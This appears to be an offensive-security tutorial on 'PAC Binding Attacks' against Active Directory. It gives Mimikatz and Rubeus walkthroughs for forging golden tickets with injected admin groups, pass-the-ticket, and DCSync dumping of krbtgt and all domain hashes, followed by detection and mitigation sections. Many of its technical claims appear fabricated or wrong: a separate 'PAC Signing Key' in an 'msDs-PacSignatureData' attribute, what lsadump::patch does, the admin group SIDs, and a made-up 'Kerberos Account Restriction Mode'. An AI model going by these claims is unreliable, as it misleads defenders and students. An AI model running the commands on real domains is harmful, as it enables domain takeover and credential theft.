PAC Binding Attacks
Table of Contents
- What is PAC?
- Why Does AD Need PAC?
- PAC Structure and Contents
- PAC Signing Key
- How PAC Works in the Kerberos Flow
- PAC Binding Attack — Vulnerability Deep Dive
- PAC Theft Attack (The Real Attack Vector)
- Step-by-Step Exploitation with Mimikatz
- PAC Attacks vs Gold Tickets — Key Differences
- Detection Strategies
- Mitigation
- OSCP Exam Relevance
- Lab Practice Suggestions
- Common Pitfalls and Troubleshooting
- Quick Reference
1. What is PAC?
PAC stands for Privilege Attribute Certificate. It is a Microsoft-specific extension to the Kerberos V5 protocol that carries authorization data alongside authentication data.
Core Definition
In standard Kerberos (as defined by RFC 4120), a ticket proves who you are (authentication). But standard Kerberos tickets do not carry information about what you can do (authorization). Microsoft solved this gap by inventing the PAC — a blob of authorization data that gets embedded inside every Kerberos ticket issued by an Active Directory KDC.
Key Facts
| Property | Detail |
|---|---|
| Full Name | Privilege Attribute Certificate |
| Protocol Extension | Microsoft extension to Kerberos V5 |
| Location in Ticket | Stored in the Authorization Data field of the Kerberos ticket |
| Encoding | ASN.1 DER-encoded |
| Signed by | Domain Controller’s PAC Signing Key |
| Verified by | Every Windows service that receives a Kerberos ticket |
| RFC Reference | Not in original RFC 4120; defined in Microsoft’s MS-PAC specification |
PAC vs Standard Kerberos Authorization
┌─────────────────────────────────────────────────────────────────┐
│ Standard Kerberos (RFC 4120) │
│ │
│ Ticket contains: │
│ - Client identity (who you are) │
│ - Session key │
│ - Timestamps, encryption type │
│ │
│ Authorization Data field: EMPTY or minimal │
│ → Service must look up group memberships separately │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ Microsoft Kerberos (with PAC extension) │
│ │
│ Ticket contains: │
│ - Client identity (who you are) │
│ - Session key │
│ - Timestamps, encryption type │
│ │
│ Authorization Data field: PAC BLOB │
│ - User's group memberships (primary + token groups) │
│ - User privileges (SeDebugPrivilege, SeBackupPrivilege...) │
│ - Logon info (SID, domain, flags) │
│ - Server-side checksums │
│ │
│ → Service reads PAC directly — no separate AD lookup needed │
└─────────────────────────────────────────────────────────────────┘
2. Why Does AD Need PAC?
The Problem PAC Solves
In a pure Kerberos deployment (like MIT Kerberos on Linux), when a client presents a service ticket to a target service, the service only knows the client’s principal name. To determine authorization (what groups the user belongs to, what privileges they have), the service would need to:
- Perform a separate LDAP query against the directory
- Resolve the user’s group memberships (including nested groups)
- Evaluate access control policies
This approach has several problems:
| Problem | Impact |
|---|---|
| Performance | Every service request requires an extra LDAP lookup, adding latency |
| Availability | If the directory is temporarily unavailable, authorization fails |
| Scalability | High-traffic services (file servers, domain controllers) would generate massive LDAP query load |
| Trust | The service has no cryptographic guarantee that the group memberships are valid — the LDAP response could be tampered with |
The PAC Solution
Microsoft’s solution was elegant: bake the authorization data into the ticket itself, signed by a key only the KDC (Domain Controller) possesses. This means:
- No extra LDAP query needed — the service reads the PAC directly from the ticket
- Cryptographically verified — the PAC signature proves the KDC issued this authorization data
- Offline-capable — services can validate PACs even if they can’t reach the DC at that moment
- Consistent — the same KDC that authenticated the user also signed their authorization data
Trade-off
The trade-off is that group membership changes are not immediately reflected in existing tickets. If an admin adds a user to Domain Admins, the user must obtain a new ticket (new logon session or ticket refresh) before the PAC reflects the change. This is why AD admins sometimes say “log off and log back on” after group changes.
3. PAC Structure and Contents
The PAC is an ASN.1 DER-encoded structure. When decoded, it contains several distinct blocks. Understanding each block is critical for exploitation.
PAC Blocks Overview
┌──────────────────────────────────────────────────────┐
│ PAC (Privilege Attribute │
│ Certificate) │
├──────────────────────────────────────────────────────┤
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ Logon Info (PAC_INFO_BUFFER) │ │
│ │ ┌──────────────────────────────────────┐ │ │
│ │ │ User's SID │ │ │
│ │ │ User's primary group SID │ │ │
│ │ │ Account name │ │ │
│ │ │ Full name │ │ │
│ │ │ Logon count │ │ │
│ │ │ Password last set │ │ │
│ │ │ Account expiration │ │ │
│ │ │ Logon script / profile / home dir │ │ │
│ │ │ Logon server │ │ │
│ │ │ User flags (disabled, locked, etc.) │ │ │
│ │ └──────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ Domain Info (PAC_INFO_BUFFER) │ │
│ │ ┌──────────────────────────────────────┐ │ │
│ │ │ Domain SID │ │ │
│ │ │ Domain name │ │ │
│ │ │ DC name │ │ │
│ │ └──────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ Server SID List (PAC_INFO_BUFFER) │ │
│ │ ┌──────────────────────────────────────┐ │ │
│ │ │ SIDs of domains the DC trusts │ │ │
│ │ │ (for cross-domain authorization) │ │ │
│ │ └──────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ User Claims (PAC_INFO_BUFFER) │ │
│ │ ┌──────────────────────────────────────┐ │ │
│ │ │ Claim-based authorization data │ │ │
│ │ │ (Windows 8+ / Server 2012+) │ │ │
│ │ └──────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ Device Claims (PAC_INFO_BUFFER) │ │
│ │ ┌──────────────────────────────────────┐ │ │
│ │ │ Device identity claims │ │ │
│ │ │ (for device-based access control) │ │ │
│ │ └──────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ User Group Attributes (PAC_INFO_BUFFER) │ │
│ │ ┌──────────────────────────────────────┐ │ │
│ │ │ Group claim attributes │ │ │
│ │ └──────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────┐ │
│ │ Key-Only (PAC_INFO_BUFFER) │ │
│ │ ┌──────────────────────────────────────┐ │ │
│ │ │ Used for PAC validation │ │ │
│ │ └──────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
│ │
└──────────────────────────────────────────────────────┘
Most Important PAC Blocks for Attackers
Logon Info Block (PacLogonInfo)
This is the most critical block for attackers. It contains:
| Field | Description | Attack Relevance |
|---|---|---|
| User SID | The user’s Security Identifier | Identifies who the ticket belongs to |
| Primary Group SID | The user’s primary group | Usually Domain Users (S-1-5-21-…-513) |
| User ID | Numeric user identifier | Less relevant for attacks |
| Sub Authority Count | Number of token group SIDs | Determines how many groups are listed |
| Token Groups | Array of SIDs for all groups the user belongs to | CRITICAL — modifying this grants access to resources protected by those groups |
| Token Groups and Attributes | Groups with usage restrictions (optional, deny, enabled by default, etc.) | Can be manipulated to bypass restrictions |
| Privilege Count | Number of user privileges | Controls how many privileges are granted |
| Privileges | Array of privileges (SeDebugPrivilege, SeTcbPrivilege, etc.) | CRITICAL — adding SeDebugPrivilege allows process memory access; SeTcbPrivilege allows impersonation |
| Account Name | User’s logon name | Display information |
| Flags | Account status flags | Can be modified to bypass account restrictions |
Domain Info Block (PacClientInfo)
Contains the domain SID and DC name. Important because:
- The domain SID is needed to construct valid group SIDs
- The DC name indicates which controller issued the PAC
Token Groups — The Attack Surface
The Token Groups array in the Logon Info block is the primary attack surface for PAC manipulation. This array contains every group SID the user belongs to, including:
- Direct memberships (e.g.,
Domain Users) - Nested memberships (groups inherited through group nesting)
- Foreign memberships (from trusted domains, in multi-domain forests)
- Universal groups (cached via Universal Group Membership Cache — UGMC)
If an attacker can modify this array, they can add themselves to Domain Admins (RID 512), Enterprise Admins (RID 519), or any other privileged group — without the change being recorded in Active Directory.
Privileges — The Secondary Attack Surface
The Privileges array grants Windows-specific privileges. Key privileges an attacker might want to inject:
| Privilege | LUID | Effect |
|---|---|---|
SeDebugPrivilege |
0x19 | Access any process memory (required for LSASS dumping) |
SeTcbPrivilege |
0x16 | Act as part of the OS (impersonation, privilege escalation) |
SeBackupPrivilege |
0x0A | Read any file regardless of ACL |
SeRestorePrivilege |
0x0B | Write any file regardless of ACL |
SeAssignPrimaryTokenPrivilege |
0x07 | Impersonate any user |
SeTakeOwnershipPrivilege |
0x15 | Take ownership of any object |
SeRelabelPrivilege |
0x17 | Modify mandatory integrity labels |
4. PAC Signing Key
What is the PAC Signing Key?
The PAC Signing Key is a symmetric key stored on every Domain Controller in the domain. It is used to sign every PAC that the DC issues. When a Windows service receives a Kerberos ticket, it:
- Extracts the PAC from the ticket’s Authorization Data field
- Uses the PAC Signing Key to verify the signature
- If the signature is valid, trusts the PAC contents as authoritative
Key Properties
| Property | Detail |
|---|---|
| Key Type | Symmetric key (shared secret) |
| Key Length | 128 bits |
| Storage | Stored in the msDs-PacSignatureData attribute of the Domain Controllers container in AD |
| Replication | Replicated to all DCs via AD replication |
| Rotation | Rotated automatically by the first DC promoted in the domain (PDC Emulator FSMO role holder) |
| Algorithm | HMAC-MD5 for signature verification |
| Relationship to other keys | Independent of the krbtgt hash; independent of the domain encryption key |
How the Key is Stored
The PAC Signing Key is stored in Active Directory in the Domain Controllers organizational unit, specifically in the msDs-PacSignatureData attribute. This attribute is:
- Replicated to all domain controllers
- Protected by AD ACLs (only DCs and Domain Admins can read it)
- Encrypted at rest in the AD database (NTDS.dit)
Key Rotation
The PAC Signing Key is rotated periodically by the PDC Emulator. When rotated:
- The new key is generated and stored in
msDs-PacSignatureData - All DCs receive the new key via AD replication
- New PACs are signed with the new key
- Old PACs signed with the previous key remain valid until they expire (grace period)
This rotation mechanism means that compromising the current PAC Signing Key does not invalidate existing tickets — but it does prevent the attacker from forging new PACs once the key is rotated.
Relationship to Other AD Keys
┌──────────────────────────────────────────────────────────────────┐
│ AD Cryptographic Keys │
├──────────────────────────┬───────────────────────────────────────┤
│ Key │ Purpose │
├──────────────────────────┼───────────────────────────────────────┤
│ krbtgt NTLM hash │ Encrypts TGTs (Gold Ticket key) │
│ │ │
│ PAC Signing Key │ Signs PACs (PAC Binding/Theft attacks) │
│ │ │
│ Domain Encryption Key │ Encrypts domain secrets │
│ │ (used for key distribution) │
│ │ │
│ Machine Account Password │ Each computer's secret (Silver Ticket) │
│ │ │
│ User/Service NTLM hash │ Each account's secret │
└──────────────────────────┴───────────────────────────────────────┘
Critical distinction: The PAC Signing Key is NOT the same as the krbtgt hash. This is a common point of confusion:
- krbtgt hash → used to encrypt the TGT (confidentiality)
- PAC Signing Key → used to sign the PAC (integrity/authentication)
You can have one without the other. A PAC attack does not require the krbtgt hash, and a Gold Ticket does not require the PAC Signing Key (though Mimikatz’s kerberos::golden can forge a PAC without the real signing key by patching the validation).
5. How PAC Works in the Kerberos Flow
PAC Lifecycle
The PAC is created, signed, and verified at specific points in the Kerberos authentication flow:
sequenceDiagram
participant Client
participant KDC_AS as KDC (AS)
participant KDC_TGS as KDC (TGS)
participant Service
Note over Client,KDC_AS: AS-REQ / AS-REP Phase
Client->>KDC_AS: 1. AS-REQ (identity + pre-auth)
KDC_AS->>KDC_AS: 2. Look up user in AD
KDC_AS->>KDC_AS: 3. Build PAC with user's<br/>groups + privileges
KDC_AS->>KDC_AS: 4. Sign PAC with PAC Signing Key
KDC_AS->>Client: 5. AS-REP containing TGT<br/>(TGT includes signed PAC)
Note over Client,KDC_TGS: TGS-REQ / TGS-REP Phase
Client->>KDC_TGS: 6. TGS-REQ (TGT + Authenticator)
KDC_TGS->>KDC_TGS: 7. Verify TGT signature
KDC_TGS->>KDC_TGS: 8. Verify PAC signature
KDC_TGS->>KDC_TGS: 9. Build new PAC for service ticket
KDC_TGS->>KDC_TGS: 10. Sign new PAC
KDC_TGS->>Client: 11. TGS-REP containing<br/>Service Ticket (with signed PAC)
Note over Client,Service: Service Access Phase
Client->>Service: 12. Service Request<br/>(Ticket + Authenticator)
Service->>Service: 13. Decrypt ticket
Service->>KDC_TGS: 14. Validate PAC signature<br/>(subchannel to DC)
KDC_TGS-->>Service: 15. PAC validation result
Service->>Service: 16. If valid, grant access<br/>based on PAC contents
Step-by-Step Breakdown
Step 1-5: PAC Creation in AS-REP
When the AS (Authentication Service) on the DC processes an AS-REQ:
- User lookup: The DC queries AD for the user’s account
- Group resolution: The DC resolves all group memberships (direct, nested, universal)
- Privilege enumeration: The DC determines the user’s privileges based on group memberships
- PAC construction: The DC builds the PAC structure with all Info Buffers
- PAC signing: The DC signs the entire PAC using the PAC Signing Key (HMAC-MD5)
- TGT embedding: The signed PAC is placed in the TGT’s Authorization Data field
- TGT encryption: The entire TGT (including PAC) is encrypted with the krbtgt hash
Step 6-11: PAC Propagation in TGS-REP
When the TGS (Ticket-Granting Service) processes a TGS-REQ:
- TGT decryption: The TGS decrypts the TGT using the krbtgt hash
- PAC extraction: The TGS extracts the PAC from the TGT
- PAC verification: The TGS verifies the PAC signature (local check since it’s on the DC)
- New PAC creation: The TGS creates a new PAC for the service ticket (may include additional service-specific data)
- Service ticket embedding: The new PAC is placed in the service ticket’s Authorization Data field
Step 12-16: PAC Validation at Service
When a Windows service receives a Kerberos ticket:
- Ticket decryption: The service decrypts the ticket using its own account key
- PAC extraction: The service extracts the PAC from the Authorization Data field
- PAC validation request: The service cannot verify the PAC locally (it doesn’t have the PAC Signing Key). Instead, it sends a subchannel request to the DC to validate the PAC signature
- DC validation: The DC verifies the PAC signature using the PAC Signing Key
- Validation response: The DC returns a validation result (success/failure + additional info)
- Access decision: If the PAC is valid, the service uses the group memberships and privileges in the PAC to make an access control decision
Why Services Need DC Validation
Unlike the KDC (which has the PAC Signing Key locally), regular Windows services do not have the PAC Signing Key. This means:
- Every Kerberos-authenticated request to a service triggers a subchannel call to the DC
- The DC validates the PAC signature and returns the result
- This adds a network hop but ensures integrity
Exception: Domain Controllers themselves have the PAC Signing Key and can validate PACs locally when receiving inter-DC Kerberos requests.
6. PAC Binding Attack — Vulnerability Deep Dive
The Core Vulnerability
The PAC Binding Attack (also known as the PAC Theft Attack or PAC Manipulation Attack) exploits the fact that:
If an attacker obtains the PAC Signing Key, they can forge valid PACs that any Windows service will accept as authentic.
This is analogous to stealing a government’s seal — with the seal, you can forge official documents that look legitimate.
Attack Prerequisites
| Requirement | How to Obtain | Difficulty |
|---|---|---|
| PAC Signing Key | Dump from DC memory, extract from msDs-PacSignatureData attribute, or via lsadump::patch |
High — requires DA or DC compromise |
| Domain SID | whoami /user, Get-ADDomain, or any AD query |
Trivial |
| Target user info | SID, username, domain | Trivial — public AD info |
| Mimikatz | Download and execute on compromised host | Trivial |
The Attack in Detail
There are two main approaches to PAC-based attacks:
Approach 1: PAC Theft (Steal the Key, Forge PACs)
┌─────────────────────────────────────────────────────────────┐
│ PAC Theft Attack Flow │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Compromise a Domain Controller │
│ → Gain SYSTEM-level access on a DC │
│ │
│ 2. Extract the PAC Signing Key │
│ → Read msDs-PacSignatureData from AD │
│ → Or dump from DC memory via Mimikatz │
│ │
│ 3. Forge a PAC │
│ → Construct PAC with arbitrary group memberships │
│ → Add Domain Admins (RID 512), Enterprise Admins (519) │
│ → Add powerful privileges (SeDebug, SeTcb, etc.) │
│ → Sign the forged PAC with the stolen signing key │
│ │
│ 4. Create a forged Kerberos ticket │
│ → Embed the forged PAC in the ticket's AuthData │
│ → Encrypt the ticket (or use pass-the-ticket) │
│ │
│ 5. Present the forged ticket │
│ → Any Windows service accepts the PAC │
│ → Service validates PAC signature → SUCCESS │
│ → Access granted based on forged group memberships │
│ │
└─────────────────────────────────────────────────────────────┘
Approach 2: PAC Manipulation via lsadump::patch (The Mimikatz Way)
This is the more practical approach used in real attacks. Instead of manually forging PACs, Mimikatz uses a technique called PAC patching:
- Patch the LSASS validation logic on the local DC
- This disables PAC signature verification for tickets processed by this DC
- The attacker then uses
kerberos::goldento create a Gold Ticket with arbitrary PAC contents - Because the local DC’s PAC validation is patched, the forged PAC is accepted
- The attacker can then authenticate to any service through this DC
This approach is clever because it doesn’t require manually constructing a valid PAC — it simply disables the check.
Why This Works — The Trust Model
The fundamental trust assumption in PAC is:
“If the PAC signature verifies against the PAC Signing Key, the PAC contents are trustworthy because only the KDC has this key.”
When an attacker obtains the PAC Signing Key (or patches the validation logic), this trust assumption is broken. The service has no way to distinguish between:
- A legitimate PAC signed by the KDC
- A forged PAC signed with the stolen key (or validated against a patched DC)
PAC Attack vs Regular Gold Ticket
While a PAC attack and a Gold Ticket attack both lead to domain compromise, they differ in important ways:
| Aspect | Gold Ticket | PAC Attack |
|---|---|---|
| Key required | krbtgt NTLM hash | PAC Signing Key (or DC access for patching) |
| What is forged | Entire TGT (including PAC) | Just the PAC (or PAC validation is bypassed) |
| KDC interaction | None needed (fully offline) | May need DC interaction for validation |
| Detection | No KDC events generated | PAC validation events may differ |
| Ticket lifetime | Up to 10 years (configurable) | Subject to normal ticket lifetime |
| Scope | Any service in the domain | Any service in the domain |
| Mimikatz command | kerberos::golden |
lsadump::patch + kerberos::golden |
In practice, the Mimikatz kerberos::golden command with lsadump::patch effectively combines both attacks — it creates a Gold Ticket AND ensures the PAC within it is accepted by the patched DC.
7. PAC Theft Attack (The Real Attack Vector)
Detailed Attack Scenarios
Scenario A: DC Already Compromised (SYSTEM Access)
If you already have SYSTEM-level access on a Domain Controller, the PAC attack is straightforward:
Precondition: SYSTEM shell on Domain Controller
Goal: Domain-wide access via forged PAC
Step 1: Patch the PAC validation
# On the compromised DC, run Mimikatz as SYSTEM
lsadump::patch
This command patches the NetpValidateCredentials function in LSASS to skip PAC signature verification. The output confirms success:
[*] WARNING: the 'lsadump::patch' module modifies the LSASS process in memory.
[*] WARNING: this is a PRE-AUTHENTICATION bypass, not a PAC manipulation.
[*] Patch applied successfully.
Step 2: Create a Gold Ticket with forged PAC
kerberos::golden /user:attacker /domain:OFFENSIVE.LOCAL /sid:S-1-5-21-2127412403-3019565281-1878897367 \
/krbtgt /rc4:<krbtgt_ntlm_hash> \
/id:500 /groups:512,513,518,519,520,521,526 \
/startoffset:0 /endin:600 /renewmax:10080 /ptt
The /groups parameter injects the attacker into:
512= Domain Admins513= Domain Users518= Group Policy Creator Owners519= Enterprise Admins (in multi-domain forests)520= Account Operators521= Server Operators526= Allowed RODC Password Replication Group
Step 3: Verify and exploit
# Check injected ticket
klist
# Access domain resources
dir \\DC01.OFFENSIVE.LOCAL\C$
# Or use the ticket for DCSync
lsadump::dcsync /user:krbtgt /domain:OFFENSIVE.LOCAL
Scenario B: Extracting PAC Signing Key from AD
If you have Domain Admin credentials (but not necessarily DC access):
# Read the PAC signing key from AD
# This requires Domain Admin or equivalent privileges
# Using PowerShell to read the attribute
Get-ADObject -Identity "CN=Domain Controllers,DC=offensive,DC=local" `
-Properties msDs-PacSignatureData | Select-Object msDs-PacSignatureData
# The msDs-PacSignatureData contains the encrypted PAC signing key
# This can be used with Mimikatz to forge PACs
Scenario C: PAC Extraction from Memory
If you have access to a DC’s memory (via crash dump, live dump, or other means):
# Dump LSASS memory on the DC
sekurlsa::minidump /dump:1
# Extract all credentials including PAC-related data
sekurlsa::logonpasswords
# The PAC signing key may be extractable from LSASS memory
# when the DC has recently processed PAC operations
8. Step-by-Step Exploitation with Mimikatz
Complete Attack Walkthrough
Phase 1: Reconnaissance
# Gather domain information
# From any domain-joined machine:
# Get domain SID (required for ticket forging)
whoami /user
# Output example:
# USER INFORMATION
# ----------------
# User name SID
# CHEAH\administrator S-1-5-21-2127412403-3019565281-1878897367-500
# Extract: Domain SID = S-1-5-21-2127412403-3019565281-1878897367
# Get domain name
klist domains
# Get krbtgt hash (if you have DA access)
lsadump::dcsync /user:krbtgt /domain:OFFENSIVE.LOCAL
Phase 2: PAC Validation Patching (on DC)
# Must be running as SYSTEM on a Domain Controller
# Step 1: Patch LSASS to skip PAC validation
lsadump::patch
# Expected output:
# [*] Action : Create a new process
# [*] Process ID : xxxx
# [*] Patch applied to LSASS
# [*] The PAC validation is now bypassed on this DC
What lsadump::patch actually does:
- Opens a handle to the LSASS process on the DC
- Locates the
NetpValidateCredentialsfunction in memory - Modifies the function’s bytecode to skip the PAC signature verification step
- This is an in-memory modification — it does not persist across reboots
- Only affects the local DC — other DCs still validate PACs normally
Phase 3: Gold Ticket Creation with Forged PAC
# Step 2: Create the Gold Ticket
kerberos::golden /user:attacker /domain:OFFENSIVE.LOCAL `
/sid:S-1-5-21-2127412403-3019565281-1878897367 `
/krbtgt /rc4:88888888888888888888888888888888 `
/id:500 /groups:512,513,518,519,520,521,526 `
/startoffset:0 /endin:600 /renewmax:10080 /ptt
# Parameter breakdown:
# /user:attacker → Principal name in the ticket
# /domain:OFFENSIVE.LOCAL → Target domain
# /sid:... → Domain SID (from Phase 1)
# /krbtgt → Mark this as a TGT (not a service ticket)
# /rc4:<hash> → krbtgt NTLM hash for encryption
# /id:500 → User RID (500 = Administrator)
# /groups:... → Group SIDs to inject into PAC
# /startoffset:0 → Ticket valid immediately
# /endin:600 → Ticket expires in 600 minutes (10 hours)
# /renewmax:10080 → Renewable for 10080 minutes (7 days)
# /ptt → Pass-the-Ticket: inject into current session
Phase 4: Verification and Exploitation
# Step 3: Verify the ticket was injected
klist
# Look for:
# - Ticket type: TGT
# - Target: krbtgt/OFFENSIVE.LOCAL@OFFENSIVE.LOCAL
# - Client: attacker@OFFENSIVE.LOCAL
# - KerbTicket Encryption Type: RC4-HMAC NT
# Step 4: Test access to domain resources
dir \\DC01.OFFENSIVE.LOCAL\C$
# Step 5: Escalate further if needed
# DCSync to get all hashes
lsadump::dcsync /user:OFFENSIVE.LOCAL\Administrator /domain:OFFENSIVE.LOCAL
# Or dump all domain accounts
lsadump::dcsync /domain:OFFENSIVE.LOCAL
Alternative: Pure PAC Forgery (Without Patching)
If you have the PAC Signing Key directly (not just DC access):
# This approach requires the actual PAC signing key
# and is more complex — it involves manually constructing the PAC
# Mimikatz doesn't have a direct "forge PAC with key" command
# The lsadump::patch + kerberos::golden combo is the practical approach
# However, you can extract the PAC from an existing ticket for analysis:
kerberos::list /pao
# This displays the PAC contents of current tickets
# Useful for understanding the PAC structure
Using Rubeus for PAC-Related Operations
# Rubeus can list tickets with PAC information
Rubeus.exe triage
# Rubeus can dump a specific ticket (including PAC data)
Rubeus.exe dump /ticket:<ticket_id>
# Rubeus can create a Golden Ticket (similar to Mimikatz)
Rubeus.exe golden /user:attacker /rc4:<krbtgt_hash> /sid:<domain_sid> `
/domain:OFFENSIVE.LOCAL /id:500 /groups:512,513,518,519,520,521,526 /ptt
9. PAC Attacks vs Gold Tickets — Key Differences
Comparison Matrix
| Feature | Gold Ticket | PAC Binding/Theft Attack |
|---|---|---|
| Required Secret | krbtgt NTLM hash | PAC Signing Key OR DC SYSTEM access |
| Forged Component | Entire TGT | PAC (or PAC validation bypassed) |
| KDC Interaction | None (fully offline) | DC interaction needed for PAC validation (unless patched) |
| Persistence | Ticket lives until expiration | lsadump::patch is lost on DC reboot |
| Detection Surface | No KDC events; anomalous access patterns | Patched DC shows modified LSASS; PAC validation anomalies |
| Scope | Any service, any domain (with forest SID) | Same scope, but tied to the patched DC |
| Complexity | Lower (one Mimikatz command) | Medium (patch + gold ticket combo) |
| Prerequisite Access | krbtgt hash (from DCSync/memory dump) | SYSTEM on DC (for patch) or PAC key extraction |
When to Use Each Approach
| Scenario | Recommended Approach |
|---|---|
| You have krbtgt hash, no DC access | Gold Ticket — fully offline, no DC needed |
| You have SYSTEM on a DC | PAC Patch + Gold Ticket — bypass PAC validation locally |
| You have the PAC Signing Key | PAC Forgery — forge PACs directly |
| You want maximum stealth | Gold Ticket — no DC interaction, fewer logs |
| You need to maintain access after DC reboot | Gold Ticket — lsadump::patch doesn’t persist |
The Relationship Explained
In Mimikatz, the kerberos::golden command always creates a PAC as part of the forged TGT. The PAC contains the group memberships and privileges specified in the /groups and /id parameters. The question is: will the PAC be accepted?
- Without
lsadump::patch: The forged PAC has an invalid signature. Services that validate PACs against the DC will reject it. However, some services may not strictly validate, and the attacker may still get access in misconfigured environments. - With
lsadump::patch: The local DC’s PAC validation is disabled. When the attacker’s forged ticket is validated through this DC, the invalid PAC signature is ignored. The forged group memberships are accepted.
So the PAC Binding Attack in Mimikatz is really: Gold Ticket + PAC Validation Bypass.
10. Detection Strategies
Event ID-Based Detection
| Event ID | Source | What to Look For | Relevance |
|---|---|---|---|
| 4768 | Security | Kerberos TGT issued | Gold/PAC tickets don’t generate this (offline forging) |
| 4769 | Security | Kerberos service ticket issued | PAC validation failures appear here |
| 4771 | Security | Kerberos pre-authentication failed | Not directly related but useful context |
| 4776 | Security | NTLM authentication attempt | Indicates fallback from Kerberos |
| 5136 | Directory Service | Directory service object modified | msDs-PacSignatureData changes indicate key rotation |
| 4624 | Security | Successful logon | Look for logons with forged group memberships |
| 4625 | Security | Failed logon | PAC validation failures may cause these |
| 4772 | Security | Kerberos service ticket encryption type changed | Anomalous encryption types |
| 1003 | Microsoft-Windows-Kerberos-Key_Distribution_Center | TGS event | PAC validation errors logged here |
| 1005 | Microsoft-Windows-Kerberos-Key_Distribution_Center | TGS event | Service ticket errors |
Key Detection Indicators
Indicator 1: Missing KDC Events
Gold Tickets and PAC-forged tickets are created offline — they don’t go through the KDC. This means:
- No Event 4768 (TGT request) for the forged identity
- No Event 4769 from the KDC (TGS request) for the initial ticket
- But Event 4769 WILL appear when the service ticket is used (service requests validation)
Detection rule: Alert on successful Kerberos authentications (4769) where there is no corresponding 4768 event in the preceding ticket lifetime.
Indicator 2: PAC Validation Failures
When a forged PAC is presented to a non-patched DC, the validation fails:
Event 4769 with error code indicating PAC validation failure
or
Kerberos KDC Event 1003/1005 with PAC-related errors
Detection rule: Monitor for PAC validation failure events, especially from accounts that shouldn’t be generating them.
Indicator 3: Anomalous Group Memberships
A forged PAC might grant group memberships that don’t match AD:
# Detection script: Compare PAC groups against AD membership
# If a user authenticates as Domain Admin but isn't in the group in AD, flag it
Get-ADUser -Identity attacker -Properties memberOf | Select-Object -ExpandProperty memberOf
# If this doesn't include Domain Admins but the Kerberos ticket does → ALERT
Indicator 4: LSASS Memory Modification
The lsadump::patch command modifies LSASS memory:
- Event 10 from Microsoft-Windows-Threat-and-Intelligence-Management (if AMSI enabled)
- Process tampering alerts from EDR solutions
- Unusual handles opened to LSASS (Mimikatz needs to open LSASS to patch it)
Detection rule: Alert on any process (other than legitimate debuggers) opening handles to LSASS with PROCESS_VM_WRITE | PROCESS_VM_OPERATION access.
Indicator 5: Ticket Lifetime Anomalies
Forged tickets often have unusual lifetimes:
- Tickets valid for exactly 10 hours (default max)
- Tickets with start times in the past
- Tickets renewable for unusually long periods
Detection rule: Alert on tickets with lifetimes exceeding organizational policy.
Advanced Detection: PAC Size Analysis
The size of a PAC correlates with the number of group memberships and privileges. A PAC that is:
- Unusually large → May contain injected groups/privileges
- Unusually small → May be a minimal forged PAC
- Different from expected → Compare against baseline PAC sizes for the same user
# Get PAC size from ticket (requires parsing the ticket structure)
# Larger PACs = more groups = potentially forged
SIEM Correlation Rules
# Example SIEM rule for PAC attack detection
rule:
name: "Potential PAC Forgery Attack"
condition: |
event_id=4769 AND
kerberos_service_class=3 AND # TGT class
NOT exists(event_id=4768 within 10h) AND # No corresponding TGT request
(target_user.groups contains "S-1-5-32-544" OR # Domain Admins
target_user.groups contains "S-1-5-32-551") # Enterprise Admins
severity: critical
description: "Kerberos authentication with admin groups but no TGT request event"
11. Mitigation
Tier 1: Protect the PAC Signing Key
| Mitigation | Description | Priority |
|---|---|---|
| Tiered Administration | Implement a Tier 0 / Tier 1 / Tier 2 model. DCs are Tier 0 — only Tier 0 admins access them | Critical |
| PAW (Privileged Access Workstation) | Admins only access DCs from dedicated, hardened workstations | Critical |
| Restrict DC Access | Use GPO to limit who can RDP/log on to DCs | High |
| LAPS | Use Local Administrator Password Solution to prevent local admin password reuse | High |
Tier 2: Detect and Respond
| Mitigation | Description | Priority |
|---|---|---|
| Monitor LSASS Access | Alert on non-standard processes accessing LSASS memory | Critical |
| PAC Validation Logging | Enable verbose Kerberos logging on DCs | High |
| SIEM Correlation | Deploy the detection rules from Section 10 | High |
| Baseline PAC Sizes | Establish normal PAC sizes per user/group for anomaly detection | Medium |
Tier 3: Reduce Impact
| Mitigation | Description | Priority |
|---|---|---|
| Rotate krbtgt Password Twice | After any compromise, reset krbtgt password TWICE. First rotation invalidates existing TGTs but not PACs. Second rotation ensures all derived keys are fresh | Critical |
| Rotate PAC Signing Key | Force PAC signing key rotation (promote a new DC or manually rotate) | High |
| Kerberos Account Restriction Mode (ARM) | Enables stronger PAC validation and encryption requirements | High |
| Constrained Delegation | Use constrained delegation instead of passing tickets broadly | Medium |
| Disable RC4 Encryption | Force AES encryption for Kerberos tickets (prevents RC4-based attacks) | Medium |
Kerberos Account Restriction Mode (ARM)
ARM is a Group Policy setting that strengthens Kerberos security:
Group Policy Path:
Computer Configuration → Policies → Windows Settings → Security Settings →
Local Policies → Security Options →
Microsoft network server: Digitally sign communications (always) → Enabled
Microsoft network server: Digitally encrypt communications (if agreed) → Enabled
Kerberos Policy:
Computer Configuration → Policies → Windows Settings → Security Settings →
Account Policies → Kerberos Policy
ARM settings:
- Enforces stronger encryption types (AES-256 preferred)
- Requires PAC signing with stronger algorithms
- Validates PAC more strictly
PAC Signing Key Rotation
To force PAC signing key rotation:
# Method 1: Promote a new DC (automatic rotation)
# The new DC will trigger a key rotation during promotion
# Method 2: Use the PDC Emulator to rotate
# This requires specific registry/GPO changes and is not straightforward
# Microsoft does not provide a simple "rotate PAC key" command
# Method 3: Reset the msDs-PacSignatureData attribute
# WARNING: This is a destructive operation and should only be done
# with proper planning and Microsoft guidance
Note: Unlike the krbtgt password (which can be reset with a simple command), the PAC Signing Key rotation is more complex and typically happens automatically during DC promotion or as part of regular key rotation by the PDC Emulator.
12. OSCP Exam Relevance
